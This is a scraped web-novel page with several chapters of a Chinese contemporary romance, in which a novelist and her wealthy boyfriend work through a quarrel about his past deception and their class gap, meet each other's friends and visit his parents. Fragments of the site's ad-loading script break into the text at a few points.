"2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p>有说女主墨迹、别扭;有说剧情垃圾;甚至还有骂作者的,说作者捧男踩女。 利知陷入迷茫,不知道哪个环节错了。 之后为了安心存稿没再去翻评论区,直到两天后的深夜,码完当日稿后,还是按捺不住点了进去。 没想到风向变了,多了很多支持的评论。 [我觉得大大写得很好啊,普通女孩和优秀男孩子在一起,肯定要面对这样那样的问题,家庭背景、认知高低,还有社会圈层的不同,如果抛开这些只管谈恋爱,这才叫离谱吧] [同意楼上!我觉得大大这本进步了很多了,有种现实走进小说的即视感] [呜呜呜必须支持大大!个人亲身体会!真正喜欢一个人的时候,想法会多的,还很容易患得患失,总觉得自己哪哪都不好的] 继续往下滑,一条评论吸引了她的注意: [唉,女主的不配得感真让人心疼] 利知的视线游移开,定定望着某处陷入了沉思。 是,不配得感吗? * 周末蒋星尧要加班,但可以居家办公,问利知要不要一起。 想想他们都有三四天没见面了,于是利知爽快答应了,带上她的电脑去他家码字去了。 这还是她第一次去蒋星尧的家呢。 蒋星尧住的小区叫海德公馆,是城东一个房价金字塔尖的楼盘。 利知一进去就哇哇哇赞叹,因为视野实在太可了! 顶跃复式,一层客厅和二层的两个卧室都有可以看到宽阔江面的阳台! 利知摇头感慨,要是在这里码字,她的灵感估计能飞到江对面去了,日肝上万不是难事! 不过也只在心里YY,要是说出来,人家还以为她在暗示要同居呢。 炎热的午后,两人分别坐大餐桌两边,周围安静得只听见双方频繁的敲键盘声。 忙了一阵子,利知起身去了趟洗手间,走在蒋星尧身边,往他电脑屏幕看,密密麻麻的字看得头都晕。 利知坐回位置上,蒋星尧的视线就跟着她移动,最后干脆托着脸看着她。 “……”利知愣愣地回望,“怎么啦?” “让眼睛休息一下。” “……要聊下天吗?” “嗯?聊什么?” “我一直有个疑问,你做陪护的十来天里,其实有很多机会可以说出真相的,你,为什么没说?” 蒋星尧沉默了一会,低声说:“因为我发现,那种相处模式,是我们的舒适区。” 利知笑了笑,“身份上的差别,是吗?” “……是。” 原来他早就意识到了,一旦掉马了,他们之间必定有矛盾。 隐瞒欺骗是其一。 其二是身份的差距带来的各种问题。 因此他宁愿沉浸在自己编造的谎言里,也不愿意提醒她一下。 利知沉默了一会问他:“我记得你说过,你当初选择做陪护是在赌,那万一我没喜欢上你呢?” “也是赌……”蒋星尧一瞬不瞬地盯着她,生怕错过她每一个表情,“你送过我桶装水,证明是有过好感的,我想,追的难度应该会降底些吧。” 他的话一下子触动了利知的一根神经,她有些来气,“就因为我对你有过好感,就算是隐瞒甚至欺骗,无论怎样我都会原谅,是吗?” 蒋星尧收起了笑,一脸正色道:“知知,怎么突然这么想?” “你不是说赌的前提是,知道我对你有好感吗?”利知苦笑了下,“其实,以你的条件,只要是你喜欢上的,你有的是办法让对方喜欢上你。” 蒋星尧神情凝重起来,“知知,这话什么意思?” “我想过的,你从隐瞒身份开始,再到揭开身份的时候就毫不避讳地表白,都在你掌控的范围内吧?因为你对我,势在必得。” 蒋星尧拧着眉,抿唇不答。 利知明白自己猜了个大概了。从一开始就不吝啬表达他的情感,在一起后,她还没能适应情侣身份的转变,就带着她去双方的同学面前高调官宣,那之前他们连吻都还没接过。 蒋星尧啊,表面上看是降低身份来诱她动心,实际上还是霸道强势,因此他根本就没把她能不能接受,考虑进去。 也就她傻呀,只知道纠结要不要原谅他的隐瞒,还有培养那少得可怜的冲破身份枷锁的勇气。 人家打从推开她家门前的一刻,已经把一切运筹帷幄了。 利知忽然多了股无力感,这之前她以为她会没关系的,对于他俩的身份差距,社会圈层的不同,以及别人口中的他们。 原来她还是在意的。 气氛变得凝滞。 蒋星尧不知道什么时候站了起来了,他双手垂在身侧,眼神紧锁着利知,黑眸里浓成一池墨水,让人猜不透。 过了一会,他迈起长腿,几步就绕过桌子,一把将她拉进怀里。 低沉的声音似在隐忍,又带着心疼,“知知,都是我的错,别用我的错惩罚你自己。” 利知的额头抵着他的胸膛,鼻息间尽是熟悉的气息,这会她的情绪平复了些。 其实她也知道,问题一直存在,只是随着他们关系的对外公开,问题日渐显现而已。 要是怪他的话,她也要怪自己,对他太心慈手软了。 拥抱了一会,利知离开他的怀抱。 两人相对无言。 蒋星尧叹了一口气,柔声说:“不是说开了就好的吗?还在生气?” “……”利知单纯不想答他。 这时她的手机响起,她歪着头去看手机屏幕,是温女士的电话。 她看了蒋星尧一眼,拿起手机,划开接听的同时,抬步走向阳台。 “妈。” 温女士的声音在安静的空间里显得清晰,“在哪呢?这么安静。” “我在……”利知顿住脚步,侧头看向蒋星尧,蒋星尧也在看着她,眸里的浓墨似乎比刚才更甚。 利知回过头,压低声对着手机说:“在图书馆呢。” 28. 第 28 章 “跑去图书馆做什么呀?” “家里有点闷,想去图书馆找找灵感。”利知回得心不在焉。 温女士这次打来,还是想叫利知去见见她那个姐妹的医生儿子。 利知一个头两个大,真的是这波未平,那波又起。她只好推搪说自己正在废寝忘食地连载,皮肤状态也不大好,怕见面会吓到人家。 温女士似要发火,还是按捺着叫利知给个具体时间。 利知说:“妈,我这连载还有一半没完成,真给不了具体时间。” “你这么一拖再拖,好男人都被别人抢走了。” “妈,能抢走的,就是再好的男人也不是我的啦!” “哎你这……什么破想法!” 利知说了一阵子话,情绪也好了些,便低声撒着娇说:“好了嘛,我有空再跟你聊啦。” “哎你是要气死我是吗。”温女士咬牙切齿地说,“尽快忙完你的小说,等我回去了,我们约出来聚个餐。” 利知一怔,“妈你什么时候回来呀?” “年前吧。”温女士说,“等你爸忙完一起回去。” 挂了电话,一转过身,发现蒋星尧依旧站在原地,神情有些肃穆。 利知心里有些发怵,不知道他有没听到了她和温女士的对话。 刚才谎称在图书馆是故意说给他听的。 温女士给她介绍对象,她没向温女士坦白谈了恋爱的事,如果被他听到了,多少有些心虚的。 利知紧握着手机往里走,在桌前站定,小声地说:“我妈打来的……就,随便聊了下。” “嗯。”声音低低沉沉的,也听不出过多情绪。 静默了一会,他才低声笑了出来,“你打电话的时候表情挺生动的,平时和我聊,是不是也这样?” 利知抬眸看他一眼,丢下一句,“自己领会。” 同时暗自舒了一口气,看样子,是没听到温女士给她介绍对象的话吧? * 晚上在外面吃完饭,蒋星尧开车送利知到家楼下。 利知正低头去解安全带,听到旁边的人声音缱绻地唤了她一声,“知知宝贝。” 她愣了下,抬起头去看,蒋星尧已经凑近,一只手覆在她要摁安全带扣的手,“吧嗒”一声解开安全带,顺势把安全带脱离她的手臂。 另一只手覆在她的后颈,向自己轻轻一带,侧着头轻柔地吻着她的唇。 不知道是不是因为白天有过剑拔弩张,这会感觉他的吻都带着主动示好,还有些微讨好。 利知双手搭在蒋星尧的肩颈上,在他颈后交叉,轻轻柔柔地回应着他。 此时的亲密和暧昧成了修复关系的最好调剂。 * 周一高晓莱休息,就跑来了利知家,说她网上发现了一家环境超好的咖啡店,叫利知一起探店的。 看着她那那股不依不挠的劲,利知还是放了自己半天的假。 到店不久外面就下起了大雨,两人的位置临窗,看着雨,喝咖啡,聊着天。 “什么!你和蒋星尧谈上了?还闹矛盾了?”高晓莱咬牙切齿地看着利知,“好啊你,我不主动找你,你没打算把这事说出来了是吧!” “也不是啦,”利知解释道,“这不是一直忙着码字还有恋爱了嘛……” “得得得!”高晓莱伸出巴掌举在两人中间,“谈多久了你们?上次听你说起还是说他搬出去了。” “他出差回来向我表白了。” 高晓莱估算了下,少也有一个月了,于是眯着眼看她,“好啊好啊,要不是闹矛盾,怕是现在还没打算告诉我呢。” 利知深深地看她一眼,“谁叫你有过黑历史。” 一说到上次给温女士爆料的事,高晓莱就知理亏,“哎呀,上次是你家里多了个陌生男人,考虑你的安全问题。现在不一样啦,你谈恋爱了,当然得你来说。” 她顿了一下问道:“大姨还不知道?” “还没告诉她。” 这相高晓莱搞不懂了,“这是天大的好事啊,大姨不是天天追着你相亲那个医生儿子吗?告诉她就不会逼你相亲啦。” “就是吧,情况有点复杂,”利知苦着脸,“我妈在视频里见过他了,那时还是以陪护身份,现在……他不单身份变了,还和我谈恋爱了。还有啊……我们不是才谈没多久嘛,最近还有些矛盾,就不太想这个时候告诉我妈啦。” 因此那天在蒋星尧面前不承认在他家,一是赌气,还有就是下意识的,不想让温女士知道。这也是后来才意识到自己这点潜意识的。 啊啊啊啊怎么谈个恋爱一堆的苦恼的! “说说看,你们有什么矛盾了?”高晓莱抱臂一副翘首以待的样子。 “说之前,可能要向你交待一件事。”利知双手握着手,拇指在乳白色的杯沿轻轻摩挲着,过了好几秒才低声说,“其实,我高中就认识他了,他是我隔壁班的……我,我那时就喜欢他了。” “哇靠!可啊!你这是暗恋成真了,还是别后重逢的那种!”高晓莱兴奋地说,“不止不止,还是暗恋对象还主自己送上门,双向奔赴!要不是你主动找的他,我还以为是他蓄谋已久了呢!” “知啊,你前世是拯救了宇宙的吧?” 利知讪讪道:“有这么夸张吗……” “等等,我搞岔了,这不是令人兴奋的事吗?你们也谈了不久啊,这么快有矛盾了?” 利知鼓着脸说:“他就是仗着我喜欢过他!明知道隐瞒身份是一种欺骗,还抱着侥幸;相处过程中明明有很多机会坦白的,但他说享受在其中,因为他早就发觉,他降低身份之后,我们的相处才是一个舒适区。” 利知垂下头低声继续说:“我们在一起没多久就在两班同学面前公开了,有些人背后说对我们的关系持观望态度,那些话是有点不中听吧,可是又在理,我想反驳都反驳不了。” “这些外面的压力,我承受就承受着吧,可一想到他从上门来做陪护开始,就是仗着我的喜欢,没有把我的感受,还有我对他的身份,对关系公开能不能接受,都一一考虑进去,我就来气了。” 高晓莱凝神静听,脸上早没了刚才的调笑了,“记不记得我刚出来工作谈的那个富二代,姓欧阳那个咧。” “记得。”没记错的话,是高晓莱的第二任男友。 高晓莱娓娓道来,“刚开始的时候,我以为自己不大爱他,每次约会我总是迟到十五分钟;看到他发信息来了,过了好一会才慢悠悠地回;看到他和别的女孩走太近了,没质问也没表现得太在意。我是过了很久以后复盘这段感情才发觉,其实我是下意识地把这段感情定义为,be。他那种人选择和诱惑都太多了,我怕自己投入太多感情,害怕他知道他在我心里的份量,然后肆意玩弄我的感情,于是我故意把自己端着。” “这些都没听你说过啊!”利知很是讶异,平时高晓莱都是大大咧咧的,还以为她不会有这样的感受。 高晓莱耸耸肩,“当时也觉得这些心理挺羞耻,就谁都没说了。” “说回你吧,”高晓莱说,“你不想公开,不想让家人知道,都是因为怕你们的感情有变数。正好你又意识到他知道自己在你心里有份量,做起事来都没有过多站在你角度。这点正好印证了我当初和富二代在一起害怕的事。” “说来说去,你和我当时的心理差不多,都是那该死的自尊心作祟。当然啦,我觉得这整件事蒋星尧的错居多,你会有这些担忧是不可避免的。我只是想用过去失败的经历告诉你,谈恋爱的时候,自尊心能放就放下点。如果真的因为身份差或者性格原因而不能继续走,那起码在你这没有遗憾,对吧?” 利知细细地把高晓莱的话回味了一番,好像明朗了些了,便低声问道:“那我要怎么做才好?” 高晓莱打了个响指,“该矜持时还是要矜持,该放开的时候就要放开。” “……”这说了跟没说有区别? “具体呢?什么时候矜持,又什么时候放开?” “这个嘛,”高晓莱摩挲着下巴琢磨了一阵子,“细节得你根据具体情况而定,但有一点我可以告诉你的。” “什么啊?” 高晓莱勾动食指,示意利知凑过来。 利知探身过去,听到她小声说:“在性这方面,一定要放得开!” “……” * 夜幕降临。一家名叫“咻”的无国界料理餐厅门庭若市。 此时晚饭高峰期已过,更多的人拥出外面。 几名服务生如采蜜的蜜蜂,周旋于一张张狼藉的桌面。 这时角落卡座有个男人举起手唤人:“阿彬,过来先收一下这里。” “好的,来喽。”叫阿彬的人赶忙推着车子过去,收碗碟,擦桌子。 他看了眼三 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 个没添水的水杯,低声问:“老板,我去加些水撒?” “不用,我加就好,你忙你的吧。”贾至修说着起身去取了一壶水,给三个杯子都满上。 期间看了眼低垂眉头的蒋星尧,笑着对他说:“明天新到一批龙虾,要不要来试试?” 蒋星尧缓缓勾起一抹笑,“好啊。” 宋何调侃道:“老贾,你是让他来吃,还是来做啊?” 贾至修摊摊手,“都可以啊,‘咻’的厨房随时为他打开。” 宋何啧了一声,“无药可救了。” “可别!”贾至修说,“你那十万草药都救不了,还有谁救得了。” “你看他!”宋何对着蒋星尧努了努下巴,“一副为情所困的样子,像满山草药能救得来的?” 贾至修看向蒋星尧,“老蒋,说句话!” 蒋星尧抬眸看向二人,最后沉声道:“问你们个事。” “好好好。”宋何抱着臂,一副愿闻其详的模样。 “是什么?”贾至修也满脸八卦。 “是关于,恋爱的事。” “哟嚯!终于舍得谈那颗荔枝啦?”宋何摇头晃脑念叨起来,“只啖荔枝一颗,烦心事直上心头。” “去去去,”贾至修嫌弃地朝他挥挥手,“少作乱!” 蒋星尧:“你们恋爱的时候,女朋友多久才和家人讲的?” 贾至修:“我早恋你们知道的,才一起拉个手就被她家里人发现了。” 宋何耸耸肩,“前女友追的我,一追到就向她妈报喜了。” 蒋星尧沉默了。 贾至修问:“到底是个什么事?” “她妈妈催她相亲,她宁愿糊弄过去,也没说谈恋爱了。” 两人一听,原本求知若渴的表情立马淡了下来。 “还以为什么事呢,”宋何说,“不稀奇不稀奇。” 贾至修也点头,“你们在一起没多久吧?” “一个多月吧。”蒋星尧又补充了句,“真正相处的时不长。” 宋何长长地叹了一口气,“老贾啊,咱们就帮这位大龄母胎solo开开窍吧!” 他把蒋星尧上下打量了一番,“你看看你这双桃花眼这相貌多招人啊,估计说出去都没人信你第一次谈恋爱呢。再说了,你蒋星尧是什么人啊?从脱掉开档裤就一路优秀到现在。释放出来的都是光芒万丈的光,选择自然多了,做你女朋友有安全感才怪了。” 他停顿了下,“对了,你那颗荔枝,一看就不是那种强悍的人,你觉得她能有多少安全感?” 贾至修问宋何:“你见过了?” “啊,视频见过,很可爱磁场很干净的一个女孩。” “还有磁场干净这说法。”贾至修转而对蒋星尧说,“老蒋,下次带过来,我这吃吃喝喝的都有。” “行。” 过了一会,蒋星尧拧着眉问:“我……真的会给她,这么大压力吗?” 贾至修说:“你不是大一因为实习经常不在宿舍吗?那会我们还不太熟,还以为你在外面租房了,加上前来给你表白的女生都一一拒绝,我和老宋都以为你有女朋友了呢,结果熟了才知道,你的时间全都给了上课和工作,压根没女朋友。我还和老宋开玩笑说,没女朋友也好,不然可辛苦喽。女朋友想要和你同步,那可得不眠不休啊。除非她内心非常强大,不然肯定压力山大!” 蒋星尧听完沉默了许久。贾至修和宋何对视一眼,也都没出声打扰。 过了好一会,蒋星尧才开口道:“那我该怎么做?” 贾至修皱着眉搓了搓后颈,对宋何仰了仰头,“中医大师来讲讲!” 宋何白他一眼,“讲啥?讲望闻问切?” 贾至修说:“你不是有一套套理论吗?” 宋何沉吟片刻,随后一脸正经地说:“要是用中医的角度来解释的话,两个人的磁场也是讲究阴阳协调的。当然啦,不是说叫你和她调理阴阳,这里说的是协和调。恋人之间的协调,是协商和调节。” “对,就是协调!”贾至修打了个响指,“老蒋,你对自己就是没个自知之明,可是你女朋友肯定有滤镜的啊,你就想方设法让她打破滤镜。” 宋何:“对男朋友没滤镜,就不怕不爱了吗?” “别人不一定。至于老蒋嘛……”贾至修看向蒋星尧,“让她知道,你不过是个普通人,可能更适合。” 29. 第29章 早上,利知睡到自然醒,拉开窗帘推开窗的那刻,一阵清凉气息扑面而来。几只不知名的小鸟在高枝条上欢快地唱跳着。 昨天还阴阴沉沉又风又是雨的,今天彻底就放晴了。 她双手撑在窗沿上,欣赏了一会眼前的光景,不期然想起昨天高晓莱说的,要放下自尊心的话。 咬唇思索了一会儿,返回床边拿起手机,又回窗边倚着,低头给蒋星尧发信息,[早啊] 蒋星尧很快回:[怎么不多睡会] 利知正回“自然醒了”,蒋星尧发来了一个视频,几只个头大的龙虾在缸里游来游去。 利知删掉原先的字回:[吃龙虾?] 蒋星尧:[嗯。喜欢什么吃法?] 利知:[芝士焗!!] 蒋星尧:[ok] 利知:[买回来做吗?] 蒋星尧:[龙虾是我大学同学开的餐厅里的,可以去他那里吃] 利知一愣,以为是买回家做的,没想到是去外面吃,便回:[哦哦] 蒋星尧补充:[宋何也会来] [知知,一起去吗?] 去同学开的餐厅,宋何也来的的话…… 是要带她去见朋友的意思? 利知:[今晚吗?] 蒋星尧:[嗯,方便吗?] [方便的] * 利知洗漱收拾一番,吃完早餐,一头扎进码字的世界里。 有了上次同学聚会的经验,这次见他的朋友反而没那么紧张了。 忙差不多了再弄头发,化淡妆。今天穿着是荷叶边衫配牛仔长裤,是她的日常服。 蒋星尧下午五点多来接她,到“咻”已经过了六点了。 一进餐厅,蒋星尧就领着利知直奔海鲜池,池边个男人手持捞鱼网,在缸边掂量着挑龙虾。 那人中等身高,皮肤黝黑,有个明显的啤酒肚,一见到蒋星尧忙把捞鱼网递给他,“来得正好,正准备捞进厨房呢。” 说话间视线划向利知,展开一个友善的笑,挥了挥手,“嗨!” 蒋星尧给两人作了介绍: “贾至修。” “利知,是胜利的利,知识的知。” 贾至修一怔,“啊,我听老宋说一颗荔枝,还以为是苏轼笔下的荔枝呢哈哈哈!” 利知也笑了,“不辞长作岭南人。” 贾至修拍了拍肚子笑着说:“对对对!咱都不辞长作岭南人哈哈哈!” 蒋星尧挑了四只龙虾放袋子里,递给贾至修,“你让人先杀好,我先带知知到位置上。” 在旁边洗干净手,然后搂着利知往角落走去。 利知听了有些迷惑,一坐下来便问他:“不是让厨房做吗?” “我做。”蒋星尧偏头看着她,“对我的厨艺不放心?。” “不是啦,来餐厅不是只负责吃的吗?” 蒋星尧朝她一笑,揉了揉她的头发,“我多练练,以后可以经常做给你吃。” 蒋星尧进去没一会,宋何就来了。 他朝利知哇哇地夸赞道,说真人比视频里看的漂亮又可爱多了。 利知讪笑着应和着,也回道:“你真人也帅多了。” 大有一种网友奔现的即感。 宋何瘦瘦高高的,不说话感觉这个人斯斯文文的,只是一说话就打破第一印象那种。 不一会,贾至修端着一瓶柠檬茶出来,给几个杯子都倒上,“老蒋指定要喝柠檬茶呢。” 他看向利知,“是你喜欢的吧?” 利知呵呵一笑,“是比较喜欢,其他也有喝的。” 她补充道:“我不挑的。” 宋何笑了,“老蒋好不容易谈恋爱了,让他显摆显摆吧!” 贾至修也笑了,他索性坐下来,看向利知,眼里盛的尽是好奇,“老蒋照顾你的那段时间,是不是特勤快?” 利知一愣,看看宋何,又看向他,怎么感觉蒋星尧隐瞒身份做陪护的事,除了她其他人都知道! 于是问:“你们都知道啊?” 宋何耸耸肩,“我之所以知道,是因为他要问我要食谱。” 贾至修神秘一笑,“我嘛,因为他要在我这,学做菜。” 利知一怔,“学做菜?” “是啊。怎么样?做得还行吧?” “是挺好吃的。” “那当然啦,我特意叫我们的大厨手把手教他的。我的大厨啊,可是米其林餐厅出身的哦!” 贾至修继续说:“老蒋以前可是连厨房都没进去过的,为了练厨艺,每天加完班还来咻学做菜。” 利知听完震住了,没想到蒋星尧那一手好菜是这样练出来的。 她嘀咕:“这些我都不知……” “看吧!”宋何说,“老蒋这人形象包袱重吧!就不会说自己曾经是个菜鸡。” 利知应道:“还好你们和我说了,不然我一直蒙在鼓里呢。” “来!碰一下!”贾至修端起装了柠檬茶的杯子,“以后有啥尽管说就是了!” 三个人碰完杯子,利知看向贾至修,不好意思道:“有个问题要问一下你?” 贾至修放下杯子,“问吧!” “大厨是不是每次都备好菜,切好,然后再教他怎么做的?” “咦?你怎么知道的?” 利知缓缓说:“因为,他不会切菜。” 空气有一瞬的安静,紧接着是两人的爆笑。 宋何:“我擦,老蒋居然不会切菜哈哈哈!” 贾至修笑够了,拍了拍宋何的肩膀,“短时间学会了做菜已经不容易了,原谅孩子吧!” “说什么这么开心呢?”蒋星尧的声音在身后悠悠响起。 利知有些心虚,连忙站起来,接过他手中的盘子。 看清他手中端着的龙虾,哇了一声,“这么快做好了?” 贾至修也站起来,“我去叫上菜。” “我叫过了。”蒋星尧说着坐到利知旁边,笑着看她,“都聊了什么?” “聊——”利知眼珠咕噜转,“你啊!” 贾至修说:“她赞你的厨艺一级棒!” 利知说:“我才知道你在这里学的。” 蒋星尧一笑,“这么快穿帮了啊。” “那段时间是不是很辛苦?又要上班又要来练厨艺。” “还好,给你做上饭菜,什么都值得了。” “哎哟——”宋何一脸嫌弃,“当我们不存在?” 蒋星尧对利知说:“乖啊,我们私下说,这里有单 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 身狗,刺激不得。” “嗳你这!谈个恋爱高人一等了是不?”宋何眼咕噜转,随后绽放假意的笑, “老蒋啊,你这切菜的技活,要不要来学一遍?” “……”蒋星尧无奈地看着利知,“都说了啊?” 利知朝他扬起脸赔笑。 四个人边聊边吃,这顿饭吃了将近两小时。 饭后,贾至修扬手叫服务员收拾完桌面。 蒋星尧问他:“下一批龙虾什么时候到?” “三天后。” “给我留些吧。” 宋何说:“还吃?” 蒋星尧说:“好些日子没回家了,给我妈带些去。” “好咧,料子也给你备上。”贾至修问,“还是你做?” “嗯,给她做一顿。” * 饭后闲坐了一小会就散了。 车子在幸福里小区外缓缓停下了,很久很久都没动静,也没人下车。 此时夜已深,路灯拖着妩媚的光透过层层叶子往下扒。 车里。 两人吻得难舍难分,短促的呼吸声,夹杂着暧昧的声音,连空气都变得甜腻不堪。 葱白的小手抚过他胸.前洁白的衬衫,攀到他后脖子,手指逐渐收紧。 利知的心里生起一阵难以言喻的羞涩,在他们接过的几次吻里,这一次竟然有种前所未有的满足感。 不知过了多久,黏在一起的两人终于分开了。 蒋星尧平复了一会呼吸,低头看见红扑扑的脸蛋,用拇指轻轻刮了刮,“是不是热了……” 说着侧过身开了两边的车窗。 利知靠向窗边,晚风袭袭拂过脸,热气也消退了不少。 “过来一点。”蒋星尧低沉的声音响起。 利知一惊,“还来?” 蒋星尧忍不住笑了,“你这什么反应?” “正常反应!” “住一起的时候胆子不是挺大的嘛?”蒋星尧微微笑着看她,“怎么谈恋爱了反而避嫌了?” “那可不同,”利知嘟囔道:“那时我雇用你。” “意思是,给钱才够刺激?” “胡说什么……”利知的脸蛋又红了起来。 那时候对他没什么心思,秉承着给了钱好办事的原则。可现在,不说有没有乱七八糟的杂念,一旦放开了,那是往不可预料的方向发展了。 “坐过来一点,蒋星尧伸手拉了拉她的手臂,柔声说,“和你商量件事。” “什么?” 利知靠了过去,蒋星尧给她理着有些凌乱的头发,边问:“等下批龙虾到了,要不要去我妈那里吃龙虾?” “不了吧,才吃完……”利知突然噤声,瞪圆着眼满是不可思议,“你……要我去你爸妈家?” “嗯。”蒋星尧的视线下滑,安静地注视着她。 “我……太快了吧……” “觉得快的,以后有的是机会。”蒋星尧抚摸着她的头发,像是在安抚,“知知,我这几天也有想了很多,我过去的确少考虑到你的感受,是我没给足你安全感,我知道说再多也只是说,可是我还是想表明我的态度。” 他的声音因为刚才的激.吻多了几分缱绻,而富有磁性,“我是认真的。” 30. 第 30 章 利知躺在床上翻来覆去的睡不着,脑海里不断蹦出蒋星尧在车里时的音容笑貌。 索性爬起来,抓起手机给高晓莱发信息。 [莱莱,跟你说个事哦,他今天带我去见他朋友了] 利知趴着打字,打得有些慢,发出去一条消息之后,高晓莱直接打来电话了,“哎哟,你要急死我了,后来发生了什么事情了吗?” 利知讪讪,“我以为你睡了。” “没呢,今晚有活动晚下班,这不才回床上躺着,你就来信息了吗。后来有什么事了?” “他还问我要不要去见他父母。” “哇靠!又是见朋友又是见父母,可啊!他是想让你对两人有信心吧?” “他是这么说的,他说想让我知道他是认真的。” “可啊!去啊!” “我,我拒绝了,觉得太快了。” 高晓莱叹了一口气,“又忘了我对你的劝告了,放开着点,他对你好,安心接受就好。” “知啊,勇敢点,小说不都写了吗,先婚后爱,先do后爱的那才叫快,你们是正儿八经地谈恋爱,见父母,感觉到了就对了,别有负担了。” * 第二天,利知主动约了蒋星尧,中午在纵卫附近的一家餐厅吃饭。 “行,要我去接你吗?”蒋星尧笑着问。 “不用,我自己过去就好。” 利知算准时间,提前到餐厅选好位置。 蒋星尧来到落座,还一脸稀奇的笑,“少见啊,中午约我出来。” “我想了想,好像中午一起吃的,大都是你给我带到家里,就想约你出来啦。” 蒋星尧笑了。 两人有一搭没一搭地聊到吃完饭,利知看了他一眼,有些踌躇地开口道:“那个,我想了下,还是和你一起去你父母家吧。” 蒋星尧一顿,惊讶地看向她,“怎么突然改变主意了?” “你不是去做龙虾吗?我怕你杀不好龙虾。” “你会杀?” “不会。”利知大言不惭道,“我去给你放视频,教你怎么杀。” 蒋星尧愉悦地笑了,“我的知知真聪明,为我考虑得这么细致。” * 去“咻”取龙虾那天,利知也有去。 贾至修一见到她马上一脸惊讶道:“你也去?” “啊。”利知双手撑着膝盖,弯腰看着缸里的龙虾,抬起头看向他,“很惊讶吗?” 贾至修连忙收起丰富的表情摇着头,“不惊讶不惊讶!只是感叹——” 他意味不明地看向蒋星尧,“老蒋的速度贼快的。” 蒋星尧对他一笑,“快不快,不用你担心。” “是是是,我有什么好担心的呢,该担心的是利知。” 听懂暗话的利知脸爆红。 * 蒋星尧父母家在城北的一处别墅处,依山傍水,整个别墅群像被山、树、水紧紧环绕着,车子开进去如进入了宫崎骏的电影里那般。 车子在一栋别墅前停下,利知下了车,小跑到后备箱去取礼盒。 昨天她和蒋星尧特地跑去商场买了些燕窝、人参之类的。蒋星尧说那些都不重要,可以让助理准备,可利知坚持,这是她第一次见男朋友的父母,得真诚点。 于是网上搜过买礼品的攻略,就拖着他去买了。 蒋星尧走了过来,长臂往她前面一伸,“我来提。” “好啊。”利知干脆把东西都给他,自己则提龙虾和配料。蒋星尧把手里的东西一边手提着,另一只手牵着她的,不疾不徐地往前走。 不知道是不是最近脑子都钻剧情里了,一次元的反射弧都被拉长了,直到此刻,离大门口越近,那股紧张感才越来越强烈。 她的脚步不自觉地放慢下来。蒋星尧走着走着发现旁边没人,便停下来转身看她,“怎么啦?” 利知小步赶上,犹疑着问他,“我,我这条裙子好看吗?” 蒋星尧打量一番,“好看呀。” “妆容呢?”她指了指自己的眼圈,“没黑眼圈吧?” 蒋星尧笑了,柔声问:“你说说怎么了?” “就,怕不够得体,他们不喜欢……”利知小声说。 “现在才担心这些?”蒋星尧有些无奈,“我妈看过你的照片了。” “啊?什么照片?怎么都不和我说说,我给张好看的啊……” “就是你的读者给我们拍的合照。”蒋星尧笑着说,“她说你很漂亮呢。” “真的?” 见利知半信半疑,蒋星尧无奈一笑,“你是不相信我妈的眼光,还是不相信我的?” 这时不远处传来一把尖锐的男声,“哟哟!我看是谁来了?” 语调有种令人不适的轻浮。 蒋星尧脸上的笑意立马消失了,脸色也沉了下来。 利知向着声源望去,一道高大的身影向着这边走来。 粗略一眼,那人的身姿和蒋星尧有几分相像,待走近了才看得真切些,还是大有不同的。 那人很瘦,脸色蜡黄,唇很薄,唇角挂着刻薄的笑容,最让利知不舒服的是那双眼,空洞中透着狠戾。 她下意识地往蒋星尧后背挪进半步。 那人在几步外停下,看了眼蒋星尧,又看向露出半个头的利知,扬唇一笑说:“小妹妹,怎么连哥哥也怕了?” 他大剌剌地指着蒋星尧,“你该怕的,是你身边的这个人。” 蒋星尧岿然不动,但利知察觉到他周身的气场都冷凝下来。 利知更加笃定,来者不善! 她轻轻握住蒋星尧的手,蒋星尧怔愣了一下,也没回头,就背过手来拍了拍她的肩膀。 “说完了吗?”蒋星尧声音很冷,“说完可以走了。” “哪这么快说完?”那人沉着脸,却勾唇笑着,整个人看上去阴森森的,“别被他这副皮囊骗了。” 他的话是对利知说的,眼睛却直盯着蒋星尧,“他啊,道德败坏,唯利是图,很自私的!你以为他很孝顺吗?我告诉你,我来他爸妈家的次数都比他多了去了。小妹妹,擦擦眼睛再找男人好了!” 利知被握着的手力道紧了紧,她抬头看去,蒋星尧抿着唇不说话,周身的气场压抑隐忍。 那人双手插袋,吹着口哨向外走,错身而过之际,那人紧紧地盯着利知,那眼神疯狂中带着贪婪。 吓得利知深吸了一口气,往另一边躲去。 蒋星尧侧身把利知往怀里搂了搂,柔声说:“吓到了?” “他是谁?”那人已经走远了,利知还心有余悸,“他的眼神好吓人!” “是我堂哥,叫蒋锐。” 堂哥? 利知想起蒋星尧新上任视频一播出那会,就有很多骂声说他抢了他堂哥的位置才一路高升的。 那个堂哥,会不会是这个? 蒋星尧牵着她信步往前走,“以后要是见到他,尽量避开别理他,他说什么都不要理会。” 很快就到了门口,利知也就没问其他了。 前方的大门敞开,大门前正站着一对中年男女。 男人搂住女人,女人靠在男人的胸膛上,有种一吹可破的赢弱。 男的气质、轮廓都和蒋星尧很相似,虽是上了年纪,还是很精瘦挺拔。不过五官较为硬朗,脸上没有笑意显得神情很严肃。 女人穿着新中式旗袍,盘发,笑得很温婉,整个人端庄又得体;五官精致中带着些妩媚,可这份妩媚又不过分出挑,反而被那份温婉与优雅掩盖。 至于利知为什么看到那份妩媚,是因为蒋星尧完美地遗传了。 利知瞄了眼身旁的人,他正笑盈盈地看向蒋母,“嗨,美女,我回来了。” 蒋母没好气地白他一眼,“没个正经样。” 她的脸色有些苍白,不知道是不是蒋星尧上次说的身体不舒服的原因。 利知乖巧地打招呼,“叔叔,阿姨,你们好!” “哎哎!”蒋母伸手握住利知的手,她的手有些凉,“听小尧叫你知知,我也可以叫你知知吗?” “可以的阿姨,您叫我知知好了。” “好好!”蒋母拉着利知往前走。 利知回过 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 头去看蒋星尧,他并排和蒋父走着,因为相隔得不远,她隐约听到两人的谈话。 蒋父问:“你们进来有碰到阿锐吗?” “见到了。” 